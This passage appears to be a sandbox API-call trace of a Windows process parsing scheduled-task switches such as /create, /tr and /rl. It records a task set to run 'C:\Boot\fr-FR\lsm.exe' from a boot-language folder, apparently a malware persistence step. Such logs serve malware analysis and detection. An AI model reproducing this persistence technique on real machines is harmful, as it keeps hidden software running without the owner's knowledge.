_Buf2=0xff901b08, _Size=0x7) returned 0 [0084.629] lstrlenW (lpString="tr") returned 2 [0084.629] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.629] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|?|") returned 3 [0084.629] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.629] lstrlenW (lpString="|?|") returned 3 [0084.629] lstrlenW (lpString="|tr|") returned 4 [0084.629] SetLastError (dwErrCode=0x490) [0084.629] lstrlenW (lpString="s") returned 1 [0084.629] lstrlenW (lpString="s") returned 1 [0084.629] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.629] lstrlenW (lpString="tr") returned 2 [0084.629] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.629] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|s|") returned 3 [0084.629] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.629] lstrlenW (lpString="|s|") returned 3 [0084.629] lstrlenW (lpString="|tr|") returned 4 [0084.629] SetLastError (dwErrCode=0x490) [0084.629] lstrlenW (lpString="u") returned 1 [0084.629] lstrlenW (lpString="u") returned 1 [0084.629] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.630] lstrlenW (lpString="tr") returned 2 [0084.630] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.630] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|u|") returned 3 [0084.630] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.630] lstrlenW (lpString="|u|") returned 3 [0084.630] lstrlenW (lpString="|tr|") returned 4 [0084.630] SetLastError (dwErrCode=0x490) [0084.630] lstrlenW (lpString="p") returned 1 [0084.630] lstrlenW (lpString="p") returned 1 [0084.630] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.630] lstrlenW (lpString="tr") returned 2 [0084.630] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.630] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|p|") returned 3 [0084.630] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.630] lstrlenW (lpString="|p|") returned 3 [0084.630] lstrlenW (lpString="|tr|") returned 4 [0084.630] SetLastError (dwErrCode=0x490) [0084.630] lstrlenW (lpString="ru") returned 2 [0084.630] lstrlenW (lpString="ru") returned 2 [0084.630] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.630] lstrlenW (lpString="tr") returned 2 [0084.630] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.631] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ru|") returned 4 [0084.631] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.631] lstrlenW (lpString="|ru|") returned 4 [0084.631] lstrlenW (lpString="|tr|") returned 4 [0084.631] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0084.631] SetLastError (dwErrCode=0x490) [0084.631] lstrlenW (lpString="rp") returned 2 [0084.631] lstrlenW (lpString="rp") returned 2 [0084.631] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.631] lstrlenW (lpString="tr") returned 2 [0084.631] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.631] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rp|") returned 4 [0084.631] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.631] lstrlenW (lpString="|rp|") returned 4 [0084.631] lstrlenW (lpString="|tr|") returned 4 [0084.631] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0084.631] SetLastError (dwErrCode=0x490) [0084.631] lstrlenW (lpString="sc") returned 2 [0084.631] lstrlenW (lpString="sc") returned 2 [0084.631] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.631] lstrlenW (lpString="tr") returned 2 [0084.631] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.631] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.631] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.631] lstrlenW (lpString="|sc|") returned 4 [0084.632] lstrlenW (lpString="|tr|") returned 4 [0084.632] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0084.632] SetLastError (dwErrCode=0x490) [0084.632] lstrlenW (lpString="mo") returned 2 [0084.632] lstrlenW (lpString="mo") returned 2 [0084.632] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.632] lstrlenW (lpString="tr") returned 2 [0084.632] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.632] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.632] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.632] lstrlenW (lpString="|mo|") returned 4 [0084.632] lstrlenW (lpString="|tr|") returned 4 [0084.632] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0084.632] SetLastError (dwErrCode=0x490) [0084.632] lstrlenW (lpString="d") returned 1 [0084.632] lstrlenW (lpString="d") returned 1 [0084.632] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.632] lstrlenW (lpString="tr") returned 2 [0084.632] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.632] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|d|") returned 3 [0084.632] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.632] lstrlenW (lpString="|d|") returned 3 [0084.632] lstrlenW (lpString="|tr|") returned 4 [0084.632] SetLastError (dwErrCode=0x490) [0084.633] lstrlenW (lpString="m") returned 1 [0084.633] lstrlenW (lpString="m") returned 1 [0084.633] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.633] lstrlenW (lpString="tr") returned 2 [0084.633] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.633] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|m|") returned 3 [0084.633] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.633] lstrlenW (lpString="|m|") returned 3 [0084.633] lstrlenW (lpString="|tr|") returned 4 [0084.633] SetLastError (dwErrCode=0x490) [0084.633] lstrlenW (lpString="i") returned 1 [0084.633] lstrlenW (lpString="i") returned 1 [0084.633] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.633] lstrlenW (lpString="tr") returned 2 [0084.633] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.633] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|i|") returned 3 [0084.633] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.633] lstrlenW (lpString="|i|") returned 3 [0084.633] lstrlenW (lpString="|tr|") returned 4 [0084.633] SetLastError (dwErrCode=0x490) [0084.633] lstrlenW (lpString="tn") returned 2 [0084.633] lstrlenW (lpString="tn") returned 2 [0084.633] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.633] lstrlenW (lpString="tr") returned 2 [0084.633] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.634] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.634] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.634] lstrlenW (lpString="|tn|") returned 4 [0084.634] lstrlenW (lpString="|tr|") returned 4 [0084.634] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0084.634] SetLastError (dwErrCode=0x490) [0084.634] lstrlenW (lpString="tr") returned 2 [0084.634] lstrlenW (lpString="tr") returned 2 [0084.634] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.634] lstrlenW (lpString="tr") returned 2 [0084.634] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.634] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.634] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.634] lstrlenW (lpString="|tr|") returned 4 [0084.634] lstrlenW (lpString="|tr|") returned 4 [0084.634] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0084.634] SetLastError (dwErrCode=0x0) [0084.634] SetLastError (dwErrCode=0x0) [0084.634] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.634] lstrlenW (lpString="-/") returned 2 [0084.634] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0084.634] SetLastError (dwErrCode=0x490) [0084.634] SetLastError (dwErrCode=0x490) [0084.634] SetLastError (dwErrCode=0x0) [0084.634] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.635] StrChrIW (lpStart="'C:\\Boot\\fr-FR\\lsm.exe'", wMatch=0x3a) returned=":\\Boot\\fr-FR\\lsm.exe'" [0084.635] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.635] _memicmp (_Buf1=0x26c430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.635] _memicmp (_Buf1=0x26d600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.635] SetLastError (dwErrCode=0x7a) [0084.635] SetLastError (dwErrCode=0x0) [0084.635] SetLastError (dwErrCode=0x0) [0084.635] lstrlenW (lpString="'C") returned 2 [0084.635] lstrlenW (lpString="-/") returned 2 [0084.635] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0084.635] SetLastError (dwErrCode=0x490) [0084.635] SetLastError (dwErrCode=0x490) [0084.635] SetLastError (dwErrCode=0x0) [0084.635] _memicmp (_Buf1=0x26d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.635] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.635] GetProcessHeap () returned 0x250000 [0084.635] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d680) returned 1 [0084.635] GetProcessHeap () returned 0x250000 [0084.635] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26d680, Size=0x30) returned 0x267c40 [0084.635] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.635] lstrlenW (lpString=" \x09") returned 2 [0084.635] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0084.635] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0084.635] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0084.635] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0084.635] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0084.636] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0084.636] GetLastError () returned 0x0 [0084.636] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.636] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.636] SetLastError (dwErrCode=0x0) [0084.636] SetLastError (dwErrCode=0x0) [0084.636] lstrlenW (lpString="/rl") returned 3 [0084.636] lstrlenW (lpString="-/") returned 2 [0084.636] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0084.637] lstrlenW (lpString="create") returned 6 [0084.637] lstrlenW (lpString="create") returned 6 [0084.637] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.637] lstrlenW (lpString="rl") returned 2 [0084.637] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.637] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|create|") returned 8 [0084.637] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.637] lstrlenW (lpString="|create|") returned 8 [0084.637] lstrlenW (lpString="|rl|") returned 4 [0084.637] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0084.637] SetLastError (dwErrCode=0x490) [0084.637] lstrlenW (lpString="?") returned 1 [0084.637] lstrlenW (lpString="?") returned 1 [0084.637] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.637] lstrlenW (lpString="rl") returned 2 [0084.637] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.637] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|?|") returned 3 [0084.637] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.637] lstrlenW (lpString="|?|") returned 3 [0084.637] lstrlenW (lpString="|rl|") returned 4 [0084.637] SetLastError (dwErrCode=0x490) [0084.637] lstrlenW (lpString="s") returned 1 [0084.637] lstrlenW (lpString="s") returned 1 [0084.637] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.638] lstrlenW (lpString="rl") returned 2 [0084.638] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.638] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|s|") returned 3 [0084.638] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.638] lstrlenW (lpString="|s|") returned 3 [0084.638] lstrlenW (lpString="|rl|") returned 4 [0084.638] SetLastError (dwErrCode=0x490) [0084.638] lstrlenW (lpString="u") returned 1 [0084.638] lstrlenW (lpString="u") returned 1 [0084.638] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.638] lstrlenW (lpString="rl") returned 2 [0084.638] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.638] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|u|") returned 3 [0084.638] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.638] lstrlenW (lpString="|u|") returned 3 [0084.638] lstrlenW (lpString="|rl|") returned 4 [0084.638] SetLastError (dwErrCode=0x490) [0084.638] lstrlenW (lpString="p") returned 1 [0084.638] lstrlenW (lpString="p") returned 1 [0084.638] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.638] lstrlenW (lpString="rl") returned 2 [0084.638] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.639] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|p|") returned 3 [0084.639] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.639] lstrlenW (lpString="|p|") returned 3 [0084.639] lstrlenW (lpString="|rl|") returned 4 [0084.639] SetLastError (dwErrCode=0x490) [0084.639] lstrlenW (lpString="ru") returned 2 [0084.639] lstrlenW (lpString="ru") returned 2 [0084.639] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.639] lstrlenW (lpString="rl") returned 2 [0084.639] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.639] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|ru|") returned 4 [0084.639] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.639] lstrlenW (lpString="|ru|") returned 4 [0084.639] lstrlenW (lpString="|rl|") returned 4 [0084.639] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0084.639] SetLastError (dwErrCode=0x490) [0084.639] lstrlenW (lpString="rp") returned 2 [0084.639] lstrlenW (lpString="rp") returned 2 [0084.639] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.639] lstrlenW (lpString="rl") returned 2 [0084.639] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.639] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rp|") returned 4 [0084.639] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.640] lstrlenW (lpString="|rp|") returned 4 [0084.640] lstrlenW (lpString="|rl|") returned 4 [0084.640] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0084.640] SetLastError (dwErrCode=0x490) [0084.640] lstrlenW (lpString="sc") returned 2 [0084.640] lstrlenW (lpString="sc") returned 2 [0084.640] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.640] lstrlenW (lpString="rl") returned 2 [0084.640] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.640] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sc|") returned 4 [0084.640] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.640] lstrlenW (lpString="|sc|") returned 4 [0084.640] lstrlenW (lpString="|rl|") returned 4 [0084.640] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0084.640] SetLastError (dwErrCode=0x490) [0084.640] lstrlenW (lpString="mo") returned 2 [0084.640] lstrlenW (lpString="mo") returned 2 [0084.640] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.640] lstrlenW (lpString="rl") returned 2 [0084.640] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.640] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|mo|") returned 4 [0084.640] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.641] lstrlenW (lpString="|mo|") returned 4 [0084.641] lstrlenW (lpString="|rl|") returned 4 [0084.641] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0084.641] SetLastError (dwErrCode=0x490) [0084.641] lstrlenW (lpString="d") returned 1 [0084.641] lstrlenW (lpString="d") returned 1 [0084.641] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.641] lstrlenW (lpString="rl") returned 2 [0084.641] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.641] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|d|") returned 3 [0084.641] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.641] lstrlenW (lpString="|d|") returned 3 [0084.641] lstrlenW (lpString="|rl|") returned 4 [0084.641] SetLastError (dwErrCode=0x490) [0084.641] lstrlenW (lpString="m") returned 1 [0084.641] lstrlenW (lpString="m") returned 1 [0084.641] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.641] lstrlenW (lpString="rl") returned 2 [0084.641] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.641] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|m|") returned 3 [0084.641] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.641] lstrlenW (lpString="|m|") returned 3 [0084.641] lstrlenW (lpString="|rl|") returned 4 [0084.641] SetLastError (dwErrCode=0x490) [0084.641] lstrlenW (lpString="i") returned 1 [0084.642] lstrlenW (lpString="i") returned 1 [0084.642] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.642] lstrlenW (lpString="rl") returned 2 [0084.642] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.642] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|i|") returned 3 [0084.642] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.642] lstrlenW (lpString="|i|") returned 3 [0084.642] lstrlenW (lpString="|rl|") returned 4 [0084.642] SetLastError (dwErrCode=0x490) [0084.642] lstrlenW (lpString="tn") returned 2 [0084.642] lstrlenW (lpString="tn") returned 2 [0084.642] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.642] lstrlenW (lpString="rl") returned 2 [0084.642] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.642] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tn|") returned 4 [0084.642] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.642] lstrlenW (lpString="|tn|") returned 4 [0084.642] lstrlenW (lpString="|rl|") returned 4 [0084.642] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0084.642] SetLastError (dwErrCode=0x490) [0084.642] lstrlenW (lpString="tr") returned 2 [0084.642] lstrlenW (lpString="tr") returned 2 [0084.642] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.642] lstrlenW (lpString="rl") returned 2 [0084.642] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.643] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|tr|") returned 4 [0084.643] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.643] lstrlenW (lpString="|tr|") returned 4 [0084.643] lstrlenW (lpString="|rl|") returned 4 [0084.643] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0084.643] SetLastError (dwErrCode=0x490) [0084.643] lstrlenW (lpString="st") returned 2 [0084.643] lstrlenW (lpString="st") returned 2 [0084.643] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.643] lstrlenW (lpString="rl") returned 2 [0084.643] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.643] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|st|") returned 4 [0084.643] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.643] lstrlenW (lpString="|st|") returned 4 [0084.643] lstrlenW (lpString="|rl|") returned 4 [0084.643] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0084.643] SetLastError (dwErrCode=0x490) [0084.643] lstrlenW (lpString="sd") returned 2 [0084.643] lstrlenW (lpString="sd") returned 2 [0084.643] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.643] lstrlenW (lpString="rl") returned 2 [0084.643] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.643] _vsnwprintf (in: _Buffer=0x26c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|sd|") returned 4 [0084.643] _vsnwprintf (in: _Buffer=0x26c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc1e8 | out: _Buffer="|rl|") returned 4 [0084.643] lstrlenW (lpString="|sd|") returned 4 [0084.644] lstrlenW (lpString="|rl|") returned 4 [0084.644] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0084.644] SetLastError (dwErrCode=0x490) [0084.644] lstrlenW (lpString="ed") returned 2 [0084.644] lstrlenW (lpString="ed") returned 2 [0084.644] _memicmp (_Buf1=0x26c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.644] lstrlenW (lpString="rl") returned 2 [0084.644] _memicmp (_Buf1=0x26c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.644] 